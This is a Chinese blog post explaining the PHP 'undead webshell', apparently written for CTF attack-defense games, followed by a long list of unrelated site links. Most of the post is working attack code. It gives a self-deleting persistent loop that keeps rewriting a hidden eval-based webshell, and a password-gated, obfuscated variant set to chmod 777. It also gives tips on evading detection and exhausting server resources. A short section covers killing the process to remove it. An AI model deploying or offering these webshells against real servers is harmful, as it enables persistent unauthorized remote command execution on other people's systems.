小记一个PHP不死马
时间:2022-07-23
本文章向大家介绍小记一个PHP不死马,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
如同字面意思一样,不死马怎么样都不会给"杀死"的木马,他是直接写入进程中,无限在指定目录下生成木马文件
<?php
set_time_limit(0);
ignore_user_abort(1); #1表示,忽略与客户端断开连接,继续执行脚本
unlink(__FILE__); #执行完后删除自身
while (1) {
$content = "<?php @eval($_POST["cmd"]) ?>";
file_put_contents(".bk.php", $content);
usleep(10000); #停一会
}
?>
上面就是典型的不死马,当然有几处是有些问题的
1.删除自身,也可以不删除,没什么区别
2.写入的一句话,这类一句话木马可能一下就能查出来,或者别人看到后知道你的php木马的密码是什么,一般情况下也可以加混淆
3.usleep()也不一定需要,有的文件的宗旨在于卡目标机器,所以不断创建文件消耗对方服务器资源也是可以的
正常的PHP一句话木马为
<?php @eval($_POST["cmd"]) ?>
但这样别人看到后也可以直接利用,而且很容易就可以通过命令来找到这个玩意,所以也可以通过混淆一下,或者加个md5密码
<?php
set_time_limit(0);
ignore_user_abort(1);
$file=".shell.php";
$shell="<?php substr(md5($_GET['x']),28)=='acd0'&&eval($_POST['c']);?>"; #md5=lostwolf
while(1){
file_put_contents($file,$shell);
system('chmod 777 .shell.php');
touch(".shell.php");
usleep(50);
}
;
?>
两个条件同时满足,也就是Md5符合时,这个木马才会生效
杀死不死马的方法
首先 top|grep httpd
来查看不死马的进程ID
可以看到ID为 11198
和 111204
接着写php文件
<?php
while(1){
$pid=11198;
@unlink('.shell.php');
exec('kill -9 $pid;');
}
?>
因为不死马的特殊性,所以得条件竞争来删除,当然有的靶机处理比较卡,不需要条件竞争,手动直接kill <pid>就好了
这里拿一辆"公交车"来试验一下,目标机器已经给我种马了,所以直接上传个不死马访问就好了
上传完了之后访问,就会写入进程了,测试一下
- mac上nginx+jetty负载均衡部署一览
- Python标准库(1) — itertools模块
- C++从键盘输入文件结束符
- java cpu高达100%问题 排查
- (43) 剖析TreeMap / 计算机程序的思维逻辑
- Spring Cloud第一篇 Eureka简介及原理
- 华为面试题——约瑟夫问题的C++简单实现(循环链表)
- (49) 剖析LinkedHashMap / 计算机程序的思维逻辑
- Python多进程并行编程实践-mpi4py的使用
- 华为面试题——一道关于指针方面的编程题(C/C++)
- Spring Cloud第二篇 创建一个Eureka Server
- 数据挖掘实战(一):Kaggle竞赛经典案例剖析
- 华为面试题——单向链表倒转(一次遍历)
- Flask一步步搭建web应用
- php概述
- php教程
- php环境搭建
- PHP书写格式
- php变量
- php常量
- PHP注释
- php数组
- php字符串 string
- PHP整型 integer
- PHP浮点型 float
- php布尔型
- php数据类型之数组
- php数据类型之对象
- php数据类型之null
- php数据类型之间的转换
- php运算符
- php表达式
- PHP循环控制
- PHP流程控制
- php函数
- php全局变量
- PHP魔术变量
- php命名空间
- php 日期
- PHP包含文件
- php文件
- PHP 文件上传
- php Cookies
- php Sessions
- php email
- php安全email
- php错误处理
- PHP异常处理
- php过滤器
- PHP 高级过滤器
- php json
- php 表单
- PHP MySQL 简介
- PHP 连接 MySQL
- php创建数据库
- php 创建表
- php mysq 插入数据
- PHP MySQL 插入多条数据
- PHP MySQL 预处理语句
- php mysql 读取数据
- php mysql where
- PHP MySQL Order By
- PHP MySQL Update
- PHP MySQL Delete
- php ODBC
- Android实现多参数文件和数据上传
- 解决pyPdf和pyPdf2在合并pdf时出现异常的问题
- rxjs里scan operators的用法
- rxjs里switchMap operators的用法
- rxjs里concatMap operators的用法
- rxjs里takeWhile operators的用法
- Python sql注入 过滤字符串的非法字符实例
- rxjs里combineLatest operators的用法
- rxjs里withLatestFrom operators的用法
- rxjs里distinctUntilChanged operators的用法
- pycharm安装及如何导入numpy
- rxjs里debounceTime operators的用法
- rxjs里delay operators的用法
- Android使用FontMetrics对象计算位置坐标
- rxjs里scan和mergeScan operators的用法